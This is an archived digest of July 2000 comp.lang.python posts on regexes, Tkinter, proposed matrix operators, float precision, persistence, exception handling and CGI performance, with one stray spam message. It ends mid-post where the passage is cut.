
What about a simple regex and the use of string.split()?

--------------

tags = re.compile(r"<\?(.+)\?>", re.I | re.M)
match = tags.search(text)
while match:
    print text[match.start():match.end()], \
          '=>', string.split(match.group(1))
    match = tags.search(text, match.end())

--------------


Matthias

- - - - -
matthias.huening at univie.ac.at
http://www.ned.univie.ac.at/









From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 15:59:42 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 16 Jul 2000 19:59:42 GMT
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz> <jbPb5.1245$bb.28195@news101.telia.com> <%%Rb5.109206$HK2.1930096@news20.bellglobal.com> <o8kc5.203$rg.9815@news101.telia.com> <A1lc5.87653$W35.2011983@news20.bellglobal.com> <kIlc5.219$rg.11710@news101.telia.com>
Message-ID: <Ouoc5.89081$W35.2036480@news20.bellglobal.com>

> It is a typical god side of an MS product, total integration with total
> benfit, a pitty thought that the interface is less good than Borland's...

I can't say I have used anything of Borland since BC 4.5, I think.  I have
seen cool features in some GUI builders and IDEs that aren't in VB6, so I
have an idea of what you are talking about.  "Boa Constructor"
 http://boa-constructor.sourceforge.net/ ), an IDE for Python seems to make
a good effort to implement features typical of recent technologies, although
it is still in "Pre-Alpha" but very promising.

> Another solution is to be really smart and figure the flow of the
> program and determine when a variable is first used and color that
> color1 and the next time it is used it is colored color2...

I think this [figure the flow of the program] is what VC6 attemps to do with
C/C++ code (and that's a pretty expensive calculation) and it's a pity the
compiler will [most likely] just end up re-doing the work when you hit
"Build", as opposed to something totally integrated like VB...

> > Where the variables are declared in the form of a comment that starts
with
> > the letters "var" which, I think, is how JavaScript declares variables,
> > isn't it?
> it is said the man who knew the language inside out :-)

I'm sorry, I don't follow...

> > So, by having a line at the beginning of a function (right after
> > the description line, which I hope I didn't screw up) indicating the
names
> > of the variables we intend to use, any name that isn't in that list and
> > isn't in anything we imported would be highlighted as a mistake, and if
only
> > the case differs, the editor would make the case match the
declaration...
> The only problem is that it turns Python ugly...

Does it?  Wouldn't it help whoever was reading your code to better
understand where the scope of the variables are, and what you intend to do?
I'm reminded of assembler, where it is good practice to comment which
registers you will be "destroying" and which you will be using.  It saves
someone from looking at each line of code to figure it out....

> I know it is a problem, I will however try to enforce it in our
> concern, and one might design a devoloping tool that enforced a
> naming convention, that could be dfined by the user.

...or a variable declaration convention defined by the user???  : )   You
wouldn't HAVE to use the "# var", maybe you're like me and you come from a
VB background and you'd rather use "# dim"?

> Once you get used to it it really isn't much of a worry

I realized today my version of PythonWin (125) wasn't recommended as being
the one to use for auto-completion and other nice features, so maybe it
already does everything I want it to and my whole rant is moot??  I didn't
think PythonWin was as nice as SciTe, in terms of syntax highlighting, so I
switched, but now that I look at PythonWin 132, I'm impressed!  Maybe I *do*
have everything I want.

> there is only one thing in this world that makes me wonder: why are all
> the beautiful languages run time parsed? (i here think primarily on
> Python and Java)

Only ONE thing?  Wow.  You must know the answer to life, the universe and
everything, then?  And the question, too?  If it were up to me, this
language would have been called "42"...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III






From alex at magenta.com  Thu Jul  6 07:32:39 2000
From: alex at magenta.com (Alex Martelli)
Date: Thu, 6 Jul 2000 13:32:39 +0200
Subject: function arguments
References: <Pine.LNX.4.21.0007061257160.17492-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <8k1qvf07rm@news1.newsguy.com>

Johannes Zellner <johannes at zellner.org> wrote in message
news:Pine.LNX.4.21.0007061257160.17492-100000 at krispc6.physik.uni-karlsruhe.d
e...
>
> Hello,
>
> is there a way to get a functions argument list ?
>
> e.g.
>
> def fun(fred, lola):
>     ...
>
> something like `arglist(fun)' should return [ 'fred', 'lola' ]


>>> def fun(fred, lola):
...  pass
...
>>> def arglist(fun):
...  return fun.func_code.co_varnames
...
>>> arglist(fun)
('fred', 'lola')
>>>

It returns a tuple rather than a list, but that's easy
to remedy in the unlikely case it matters to you, of course.


Alex





From ovyxqf at hotmail.com  Mon Jul 10 13:29:01 2000
From: ovyxqf at hotmail.com (ovyxqf at hotmail.com)
Date: 10 Jul 2000 17:29:01 GMT
Subject: I Didnt Know Id Been Date-Raped til the Check She Gave Me Bounced!  6167
Message-ID: <963250141.887982@eagle.marka.net.ua>

http://www.mazepath.com/underground/hankins

"What a sad commentary on Mensa and Mensans that ... a crude, insensitive, boorish, untalented brute like Bailey Hankins can get his ... garbage printed in so many of our publications. What on earth are our editors thinking?" 

Norma MCGovern
Phoenix, Arizona 


uujgmysyerqh



From zo at angband.org.bbs  Mon Jul 17 17:30:03 2000
From: zo at angband.org.bbs (zo at angband.org.bbs)
Date: 17 Jul 2000 21:30:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRQ4R$mrn@openbazaar.net>

Charles Boncelet <boncelet at eecis.udel.edu> writes:
> Let's get some facts (yes, I know we are not supposed to let facts
> interfere with our arguments on usenet):

[Relative popularity measurements deleted.]

These metrics are meaningless.  You're comparing the popularity of
Matlab, the most popular tool for its problem domain (numerical
computing), to Python, which (unfortunately) isn't even close to the
most popular tool for its problem domain (general-purpose scripting
and programming).  I'd imagine that establishing that there is a high
level of interest in this domain would be a prerequisite for
convincing anyone to add the desired features.  But your metrics don't
tell us anything at all about the relative level of interest in the
numerical computing domain, and are thus useless for your apparent
purpose.  Compare Python+Perl+Tcl+Java+C+C++ to Matlab+(Any other
languages targeted towards the numerical computing problem domain.
Mathematica?), and you might have something half-worthwhile.

Eric


From pauljolly at my-deja.com  Mon Jul 31 04:47:02 2000
From: pauljolly at my-deja.com (pauljolly at my-deja.com)
Date: Mon, 31 Jul 2000 08:47:02 GMT
Subject: Extracting search criteria using re
Message-ID: <8m3ee5$fh5$1@nnrp1.deja.com>

Dear All,

I am using the re module to search for a particular string in an html
file (not within the tags but within the page material). This question
is more about regular expression technique more that anything.

I have read the manual on regular expression but cannot seem to find
anything that answers my question: when using the
(recompiledobject).split() method, I want to return a list of all the
occurences of my search criteria and not what remains when my search
criteria is stripped from the string. For example, searching using the
following search string: \d?\d\s*'&deg;' in the following:

"This is an example of two temperatures 56 &deg; F and 36 &deg; F."

Applying the split function on the above, I would want to return as a
list ('56 &deg;', '36 &deg;'). I am sure this is possible but cannot
for the life of me find the answer. Any help much appreciated.

Regards,

Paul Jolly


Sent via Deja.com http://www.deja.com/
Before you buy.


From cjensen at bioeng.ucsd.edu  Sat Jul  1 20:11:59 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Sat, 01 Jul 2000 17:11:59 -0700
Subject: Python MP3 Player
References: <395CE50A.3BA16777@bioeng.ucsd.edu> <m3ituq7klk.fsf@atrus.jesus.cam.ac.uk> <20000630232210.A1287@novara.avenue> <m3d7ky6lpo.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <395E88CF.47236484@bioeng.ucsd.edu>

Michael Hudson wrote:
> 
> 
> Righty ho; find it here:
> 
>     http://starship.python.net/crew/mwh/hacks/
> 
> no docs, no guarantees, no restrictions.  Comments appreciated.
> 
> Cheers,
> M.
> 
> --
>   The use of COBOL cripples the mind; its teaching should, therefore,
>   be regarded as a criminal offence.
>            -- Edsger W. Dijkstra, SIGPLAN Notices, Volume 17, Number 5




Thanks very much.  Though, I was asking, because xmms isn't vary stable
on our systems (SGI IRIX 6.5).  I figured that if there was a Python MP3
Player, then it'd probably work on our systems.  Your module is
interesting, though it doesn't fix my problem. :(





-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From walter111 at structurex.net  Thu Jul  6 03:45:57 2000
From: walter111 at structurex.net (walter hanagriff)
Date: Thu, 06 Jul 2000 02:45:57 -0500
Subject: tkinter frames problem
Message-ID: <39643935.3DF3FF3C@structurex.net>

it has been over a week since i posted this message with no response
while i see most others get an answer the same or next day, so i
reposted, i hope thats acceptable, or should i wait longer?
am i missing something to this letter that makes the problem
unanswerable? because i sent it in once without source and one person
finally told me to provicde the source with my problem so i did and i
got no responses to it, any advice for getting more help will be greatly
appreciated

this is just a framework i am using as a simplified test case for adding
tkinter to my main program
The first class makes the first frame of the program giving the user 3
options, whichever option he
chooses opens up a second frame from the second class, but they just
keep piling up
i want it so that if an options frame is there when they pick another
frame, the first options frame will
disappear.
i can easily delete the main frame from the Main class, but dont know
how to call the frames
from the defs in the second class, whether i try to call them from Main
or Step2, so how do i make what
i want happen
i think that best explains what i want, any help would be appreciated

from Tkinter import *

# this class makes the main frame and which frames are opened
class Main:
    # this function makes the first frame for the program
    def __init__(self, root):
        Label(root, text = "this program figures the area, perimeter,
and power of n \n"
        "____________________________________________").pack()

        self.v = IntVar()
        self.v.set("1")
        Radiobutton(root, text = "1 = Find the power of a number",
variable = self.v, value = 1).pack(anchor = W)
        Radiobutton(root, text = "2 = Find the area of a shape",
variable = self.v, value = 2).pack(anchor = W)
        Radiobutton(root, text = "3 = Find the perimeter of a shape",
variable = self.v, value = 3).pack(anchor = W)

        next = Button(root, text = "Next", padx = 10, command =
self.func.frame2)
        next.pack(side = LEFT, padx = 5)
        close = Button(root, text = "Close", padx = 10, command =
root.destroy)
        close.pack(side = LEFT, padx = 5)

    # this says which frame to open depending on which radiobutton above
is picked by user
    def ifpick(self):
        if self.v.get() == 1:  self.func.frame2()
        if self.v.get() == 2:  self.func.frame3()
        if self.v.get() == 3:  self.func.frame4()

# This class makes the frames for each function
class Functions:
# this frame is for the power of a number, radiobutton option v == 1
    def frame2(self):
        Label(root, text = "this frame is where you put information to
get power of n \n"
        "______________________________________________").pack(side =
TOP)

    # this frame is for the area of a shape, radiobutton option v == 2
    def frame3(self):
        Label(root, text = "this frame is where you put information to
get the area of a shape \n"
        "______________________________________________").pack(side =
BOTTOM)

    # this frame is for the perimeter of a shape, radiobutton option v
== 3
    def frame4(self):
        Label(root, text = "this frame is where you put information to
get the perimeter of a shape \n"
        "______________________________________________").pack(side =
BOTTOM)

if __name__== '__main__':
    root = Tk()
    root.title(title)
    start = Main(Toplevel)
    root.mainloop()




From lull at acm.org  Thu Jul 20 01:22:06 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 00:22:06 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net> <ilq8nss3pc0luvogh4kdh1pdlrnu7614df@4ax.com> <slrn8n9i9j.so.hzhu@rock.localdomain>
Message-ID: <gd1dnss55j4dl14n3tfpl96o6mb8dq12gl@4ax.com>

Huaiyu Zhu wrote (with possible deletions):

> I really like this kind of ideas.  Anyone able to implement it?

It should be near-trivial to implement as part of the core.  If I
thought we reach some sort of consensus it was the "right" way to do
it, I'd love to try.  So far, I don't see such a consensus developing.

> What it
> takes to change a patch of grammar to an importable module?

This, I suspect, is pretty difficult.

> Maybe the way to do it is to change the python implementation of operator
> into an object oriented approach?  Similar to PyObject we'll have a
> PyOperator which defines the symbol, name, scoping and precedence rules.
> This way handling operators within python would be similar to hadling
> ordinary objects, by import NewOperator.  To discourage abuses there may be
> restrictions on what is allowed as symbols and what precedence rules are
> allowed and so forth, and perhaps prohibit dynamic changes within an
> importing module.

(Note -- I haven't looked at the Python internals.  The following is
based on my experience using the language, & reading about it.  If
I've misunderstood something here, please feel free to correct me.)

The problem I see with it is as follows:

The Python compiler can tell just by lexical analysis what is a
function, what is a standard operator, what is a keyword, what is a
constant, etc.  It doesn't need an import statement to know that
a.bizarremethodname(b) is supposed to be translated to a call to
bizarremethodname() on object a.

If you require an import statement for the compiler to distinguish
operators from other language elements, you've just made a truly
fundamental change in the way Python works -- because import
statements get compiled into bytecode, but don't get *executed* until
runtime.  By that time the compilation is done, but you want the
import statement to change something that already happened. That
clearly doesn't work.


You could, of course, define a completely different import-like
mechanism, which would be handled at compile time, to deal with these
issues -- but your resulting NewOperator wouldn't be terribly like a
standard Python object.


(In the following, '..newOp..' etc. are just a sample of what *might*
be done.  I'm not married to the notation, nor am I suggesting it as
in any way optimum.)

To add operators to the language at run time, you would need to define
them in such a way that the compiler could recognize them as operators
without knowing anything it won't know until runtime.  The compiler
would also have to be modified to handle them appropriately.

You could, at least in theory, do something like:

   a..newOp..(b..otherOp..c)

and have the compiler translate it into:

   a.__newOp__(b.__otherOp__(c))

simply because it could recognize [.][.][a-zA-Z][a-zA-Z0-9]*[.][.] as
the standard definition of a user-defined binary operator.  It could
compile the statement correctly without knowing whether object 'a'
even implemented the operator.

With a bit of extra work, you could probably even make the run-time
execute the above as

   b.__otherOp__(c).__rnewOp__(a)

if it turned out __newOp__() was not defined for object a, but
__rnewOp__() was defined for the result of b.__otherOp__(c).


What you would lose this way is:

1. Any notion of precedence or associativity for these operators.
Changing the definition to give the compiler this information would
likely leave you with something pretty error prone.  You're likely
going to have to provide parentheses in your code anywhere simple
left-to-right evaluation is not appropriate.

2. It's not obvious to me how you could make such operators handle
short-cut evaluation as the standard boolean operators do.  Whether
this is important or not, I don't know.  Probably not terribly.

3. Frankly, expressions written this way just don't look right to me.
Once you know what .* means, 'a .* b' is just easier to read than
'a ..eMul.. b'.


What you would gain is:

1. An unlimited supply of domain-specific binary operators.

2. Operators can make sense to someone who knows little or nothing
about the domain.  He doesn't need a reference to find out what '.*'
means.

3. Operator notation anywhere it's clearer than functional notation.

4. Functional notation anywhere it's clearer than operator notation,
*without* having to write separate operator handlers and functions.


Regards,
John


From tim_one at email.msn.com  Fri Jul 28 21:48:29 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 21:48:29 -0400
Subject: Perl is worse!
In-Reply-To: <slrn8o4b97.abr.nobody@isis.visi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEMKGMAA.tim_one@email.msn.com>

[Grant Edwards]
> ...
> I guess I never looked into the details in Python (haven't done much
> numerical stuff yet).  I had sort of assumed that floating point
> values were 32 bit, but if they're 64, then as you say, the problem is
> postponed until long ints are involved.

A Python float is a C double, which on all Python platforms I know of is a
64-bit format, and on almost all conforms to IEEE-754 so has 53 bits of
precision (so all integers i with abs(i) <= 2.**53 are exactly
representable, and note that "<=" instead of "<" is not a typo despite your
first impression <wink>).

A Python int is a C long, and that varies more widely.  On most platforms
that's 4 bytes, so conversion to (Python) float cannot lose info.  On some
platforms it's 8 bytes, though, and conversion to (Python) float *can* lose
info on those.

There wasn't a lot of thought given to numeric endcases in Python at first,
simply because its initial audience did not have many number-crunchers, and
building robust portable semantics on top of C is a PITA since K&R C itself
was sloppy about its numerics.

it's-pretty-accurate-to-call-python's-numeric-policies-"benign-neglect"-ly
    y'rs  - tim





From do.not.email at hotmail.com  Mon Jul 17 18:25:18 2000
From: do.not.email at hotmail.com (JJ)
Date: Mon, 17 Jul 2000 22:25:18 GMT
Subject: problems trying wxPython in Win 95
References: <iFtc5.19052$V34.236887@news1.sttls1.wa.home.com> <000701bfef98$9f658040$6401a8c0@home>
Message-ID: <iJLc5.743$4g2.40464@read2.inet.fi>

Thanks for the tip. I have Win98 and the wxdemo didn't work. Now I tried
again, and in a console window appeared following message:
"Can't create window of class wxCanvasClass!
Possible Windows 3.x compatibility problem?"

In the  MS Windows standard error message was "WX21_15.DLL" mentioned. I
searched on my hard disk and there were both Wx21_15.dll and Wx21_16.dll. I
removed and reinstalled wxPython, and now the demo didn't crash. And the
Wx21_15.dll had disappeared. So the problem may be in it.

Thanks.

"Darrell Gallion" wrote in message
news:000701bfef98$9f658040$6401a8c0 at home...
> My experience with this isn't recent.
> But last I checked wxPython didn't work with 1.6, don't know about 2.0.
The
> demo will work with 1.5.2. I'd suggest uninstalling wxPython, rebooting
and
> reinstalling it. I had a problem like this when upgrading from the last
> version of wxPython.
>





From phd at phd.russ.ru  Tue Jul 11 11:25:28 2000
From: phd at phd.russ.ru (Oleg Broytmann)
Date: Tue, 11 Jul 2000 15:25:28 +0000 (GMT)
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <8kfd7o$2tf$1@desig-bs01-s04.adtranzsig.de>
Message-ID: <Pine.LNX.4.21.0007111524520.23007-100000@fep132.fep.ru>

On Tue, 11 Jul 2000, Dirk-Ulrich Heise wrote:
> That's my principal problem with all this
> persistency stuff - interoperability between
> versions of a program. Or is ZODB the first
> thing to overcome this, and i missed
> something?

   You missed __setstate__. ZODB is not the first thing that uses this...

Oleg.            (All opinions are mine and not of my employer)
---- 
    Oleg Broytmann      Foundation for Effective Policies      phd at phd.russ.ru
           Programmers don't die, they just GOSUB without RETURN.




From lull at acm.org  Fri Jul 21 08:24:31 2000
From: lull at acm.org (John Lull)
Date: 21 Jul 2000 07:24:31 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39774EFA.62287E6E@nih.gov> <ueefns037mjarv63dqpbh52mmr1k6vvaop@4ax.com> <%_Rd5.36763$6y5.24594893@news2.rdc2.tx.home.com>
Message-ID: <50ggnss2rhdf2uh3pe6m4o1slib9d6fvko@4ax.com>

"Rainer Deyke" <root at rainerdeyke.com> wrote (with possible deletions):

> "John Lull" <lull at acm.org> wrote in message
> news:ueefns037mjarv63dqpbh52mmr1k6vvaop at 4ax.com...
> > This shouldn't be hard to parse.  In fact, it might be a reasonable
> > foundation for class-specific operators:
> >     A(.opName)B
> > would get executed as either
> >     A.__opName__(B)
> > or
> >     B.__ropName__(A)
> > or raise an exception as appropriate.
> 
> This would allow constructs such as:
> 
> A(.init)B
> 
> In other words, it would turn all existing __magic__ functions into
> operators.  Not a good idea IMO.


One could easily prevent that by having
    A(.opName)B
invoke
    A.___opName__(B)
instead of
    A.__opName__(B)
or some such.

Clearly there's nothing to force use of the same naming convention for
these operator methods.

Regards,
John


From me at you.com  Thu Jul  6 12:20:05 2000
From: me at you.com (teroc)
Date: Thu, 06 Jul 2000 16:20:05 GMT
Subject: accessing WAB
Message-ID: <3964af8e.15594046@news.earthlink.net>

Is it possible to access the Windows Address Book (WAB) via python?
I've looked through the various classes/methods of the win32*
extensions, along with the various activex(right term?) extensions via
the Pythonwin class browser. Running makepy on wab.exe produces
nothing (of course user error is possible).
What I wish to do is use Python to 'automate' address entry imports
into the WAB. Even better if I could pull them from an LDAP server and
import them..... but one thing at a time. If anyone has any clues
please chare them.

Ken


From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 16:00:12 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 16 Jul 2000 20:00:12 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bQYCC$i5z@openbazaar.net>

> It is a typical god side of an MS product, total integration with total
> benfit, a pitty thought that the interface is less good than Borland's...

I can't say I have used anything of Borland since BC 4.5, I think.  I have
seen cool features in some GUI builders and IDEs that aren't in VB6, so I
have an idea of what you are talking about.  "Boa Constructor"
 http://boa-constructor.sourceforge.net/ ), an IDE for Python seems to make
a good effort to implement features typical of recent technologies, although
it is still in "Pre-Alpha" but very promising.

> Another solution is to be really smart and figure the flow of the
> program and determine when a variable is first used and color that
> color1 and the next time it is used it is colored color2...

I think this [figure the flow of the program] is what VC6 attemps to do with
C/C++ code (and that's a pretty expensive calculation) and it's a pity the
compiler will [most likely] just end up re-doing the work when you hit
"Build", as opposed to something totally integrated like VB...

> > Where the variables are declared in the form of a comment that starts
with
> > the letters "var" which, I think, is how JavaScript declares variables,
> > isn't it?
> it is said the man who knew the language inside out :-)

I'm sorry, I don't follow...

> > So, by having a line at the beginning of a function (right after
> > the description line, which I hope I didn't screw up) indicating the
names
> > of the variables we intend to use, any name that isn't in that list and
> > isn't in anything we imported would be highlighted as a mistake, and if
only
> > the case differs, the editor would make the case match the
declaration...
> The only problem is that it turns Python ugly...

Does it?  Wouldn't it help whoever was reading your code to better
understand where the scope of the variables are, and what you intend to do?
I'm reminded of assembler, where it is good practice to comment which
registers you will be "destroying" and which you will be using.  It saves
someone from looking at each line of code to figure it out....

> I know it is a problem, I will however try to enforce it in our
> concern, and one might design a devoloping tool that enforced a
> naming convention, that could be dfined by the user.

...or a variable declaration convention defined by the user???  : )   You
wouldn't HAVE to use the "# var", maybe you're like me and you come from a
VB background and you'd rather use "# dim"?

> Once you get used to it it really isn't much of a worry

I realized today my version of PythonWin (125) wasn't recommended as being
the one to use for auto-completion and other nice features, so maybe it
already does everything I want it to and my whole rant is moot??  I didn't
think PythonWin was as nice as SciTe, in terms of syntax highlighting, so I
switched, but now that I look at PythonWin 132, I'm impressed!  Maybe I *do*
have everything I want.

> there is only one thing in this world that makes me wonder: why are all
> the beautiful languages run time parsed? (i here think primarily on
> Python and Java)

Only ONE thing?  Wow.  You must know the answer to life, the universe and
everything, then?  And the question, too?  If it were up to me, this
language would have been called "42"...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


From m.faassen at vet.uu.nl  Mon Jul 31 03:56:40 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 07:56:40 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com> <8luu0m$ags$2@newshost.accu.uu.nl> <8lvu6d$8pa$2@news.dtc.hp.com> <8m23tv$pqc$1@newshost.accu.uu.nl> <8m2976$p9g$1@news.dtc.hp.com>
Message-ID: <8m3bfo$hn2$1@newshost.accu.uu.nl>

(Greg Weeks) <weeks at golden.dtc.hp.com> wrote:
> Martijn Faassen (m.faassen at vet.uu.nl) wrote:
> : Perhaps there is some other semantics for 'value' and 'reference' stemming
> : from another programming tradition that I'm not aware about, though.

> There is, but it may wither away as time goes on.  I guess I'm trying to
> keep it alive.  Consider the following snippet of Python code:

>     def f(x):
> 	x = <something>

>     a = <something_else>
>     f(a)
>     
> At this point in the program, a is still <something_else>.

> On the other hand, in the analogous Perl code, things are different.

[snip]

> At this point, $a is <something>.  The function f did not just receive the
> pattern of bits that were written into $a.  f received the *address* of the
> variable $a, dereferenced it, and called the result $_[0].  So assigning to
> $_[0] is the same as assigning to $a.

Hm, I didn't work Perl worked like that without explicit dereferencing,
but what do I know about Perl. :) I *do* know that Python's behavior is
almost exactly the same; what is passed in Python is also the address of
object a. But since Python uses addresses all the time, there is no way to
change what a points expect explicit assignment, as long as it points to
an immutable.

The difference seems to be that $a in Perl is in fact *not* a reference
but a name for a value directly.

So perhaps this is a more subtle and more clear distinction:

In Perl, variables are (by default) names for values. But when you pass
a variable to a function, the *reference* of this value will be passed,
and you can change the *value* to something else. (do I get Perl's semantics
right this time?)

In Python, variables are names for references. When you pass a reference
to a function the only thing that can be changed in the function is the
state of the object through that reference; there's no way to change the
nature of that object itself (the value).

So I'd still say in Python you're passing references around. In Perl the
situation is now trickier; what is passed to functions are references to
values, but what you manipulate (by default) is the value, not the 
reference. Assignment in Perl is not name-rebinding; it's value manipulation.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From thomas at xs4all.net  Sat Jul  8 13:45:36 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sat, 8 Jul 2000 19:45:36 +0200
Subject: What about try:except:finally
In-Reply-To: <39675729.C9E01442@nipltd.com>; from chrisw@nipltd.com on Sat, Jul 08, 2000 at 05:30:33PM +0100
References: <3967d908.363887342@news.online.no> <slrn8me79q.j9.daniels@localhost.localdomain> <39675729.C9E01442@nipltd.com>
Message-ID: <20000708194536.O26534@xs4all.nl>

On Sat, Jul 08, 2000 at 05:30:33PM +0100, Chris Withers wrote:
> Alan Daniels wrote:
> > >Does python support, or if not, would it be cool to have support for
> > >try/except/finally?
> > 
> > No, but just use try/except/else instead. Why it's "else" instead of
> > "finally", I have no idea, but this works just fine. Example:

> Actually, yes it does ;-)

> ...but it does something different. I read the discription on page 50 of
> David Beazely's Python Essential Reference, but it didn't make much
> sense to me :S

The 'else' is called 'else' because it's similar to the 'else' in 'if'
clauses and 'for' and 'while' loops: the 'else' clause of a 'try/except'
only gets executed when *no* exception occurs. 'finally', however, will
alway be called on the 'way out' of the try-block, wether something went
wrong or not.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From paul at prescod.net  Thu Jul 13 03:41:48 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 13 Jul 2000 02:41:48 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
Message-ID: <396D72BC.A6BA53BF@prescod.net>

Huaiyu Zhu wrote:
> 
> We are at a crucial juncture concerning introduction of new operators into
> Python for matrix computation,

Andrew Kuchling reminded me that there is work under way to make it
possible in some post Python 2 timeframe to load custom grammars,
compilers and other weird bits into the Python interpreter. That may be
your best bet. Guido is pretty allergic to domain-specific syntax.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Simplicity does not precede complexity, but follows it. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From cjc26 at nospam.cornell.edu  Fri Jul 21 18:07:25 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Fri, 21 Jul 2000 22:07:25 GMT
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <m3vgy1nvfc.fsf@atrus.jesus.cam.ac.uk> <3977C029.2C1DC8AC@my.signature>
Message-ID: <slrn8nhiiq.jr0.cjc26@synecdoche.sowrong.org>

* Greg Ewing <see at my.signature> menulis:
| 
| For one thing, it would make it easier to implement
| parallel iteration efficiently. When I write
| 
|   for x,y in zip(a,b):
| 
| I'm just trying to express the way the iteration is
| to be carried out. I don't really mean that I want the
| zip of the two lists to be computed first and then
| iterated over.

Maybe we could specify that zip() is lazy, like in Haskell, or else
define another function called xzip() (parallel to xrange()) which is
the lazy version of zip().


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From donn at u.washington.edu  Mon Jul 31 13:07:13 2000
From: donn at u.washington.edu (Donn Cave)
Date: 31 Jul 2000 17:07:13 GMT
Subject: How does Python compare to ?
References: <3FF3ED6EC164DBD2.77C81740D77CD9FA.D247DC7D74D3B365@lp.airnews.net> <Pine.GSO.4.10.10007311048410.10092-100000@sundial>
Message-ID: <8m4bo1$3le2$1@nntp6.u.washington.edu>

Quoth claird at starbase.neosoft.com (Cameron Laird):
| In article <Pine.GSO.4.10.10007311048410.10092-100000 at sundial>,
| Moshe Zadka  <moshez at math.huji.ac.il> wrote:
| 			.
|> Of course -- heck, even I use CGI for most of my web solutions. The thing
|> is, I'm not (currently) a web developer -- so when I have a problem to
|> solve, the most important thing for me is how long it takes to set up
|> the solution. For that, CGI rocks. However, as soon as you care about
|> either performance or about program scalability (IOW, once it's beyond
|> a form-to-send-mail and its ilk) (and if you don't, then the only
|> difference between Java servlets, PHP-plugin and Python CGI is the
|> syntax), the CGI is the most horrible solution available. 
|> 
|> CGI requires always a process startup and usually interpreter (be it 
|> Tcl, Guile, Perl or Python) startup. That makes it unacceptable if there
|> are more then 2 hits/second.
| 			.
| 			.
| 			.
| I'm stuck.  It's going to be hard replying without
| invocation of the canard about democracy being "the
| most horrible solution available"--except for all
| the rest.
|
| Moshe and I are in agreement on all points, except
| that I have customers receiving 20 hits per second
| which they're contentedly satisfying with CGI-based
| service.  Years ago, I thought it was ugly.  Now, I
| just think I have bigger problems, and let CGI toil
| on.

The platform could make a difference here, if two web sites were
running the same kind of CGI service on different platforms, for
example a UNIX host versus some other platform that by reputation
has a lot more overhead starting new processes.

But it has to be partly the interpreter too.  A casual test on
FreeBSD 4.0 with Python 1.5.2 against the system shell and various
interpreters says Python takes 10 times as long to get started and
print out "hello".  (This is elapsed time, on an unloaded host where
elapsed ~ user+system.)  Bash and awk take 2 or 3 times as long,
perl is somewhere in between.  On my computer here (Intel PII 450mhz),
I would guess 20 real Python programs per second, plus httpd, would
be past the limit of what we could do.

	Donn Cave, donn at u.washington.edu


From paul at prescod.net.bbs  Sun Jul 16 23:30:06 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 03:30:06 GMT
Subject: Wishlist sumbission form?
Message-ID: <3bQjkU$mP_@openbazaar.net>

Matthew Cline wrote:
>
> Is there any way of submitting feature requests for Python,
> other than by filing a bug report?

I don't think so. If it is a very targeted request, you could try the
but report route. If it is large and arguable, you should probably post
it here and get some people to support it. If its good, someone will
implement it. In open source software, only the features that developers
are interested in get implemented so a wish list might well get ignored
anyhow. It's not that nobody cares what you think it's that there's an
infinite list of wishes so people tend to attack them in the order in
order of personal interest or widespread demand.
--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
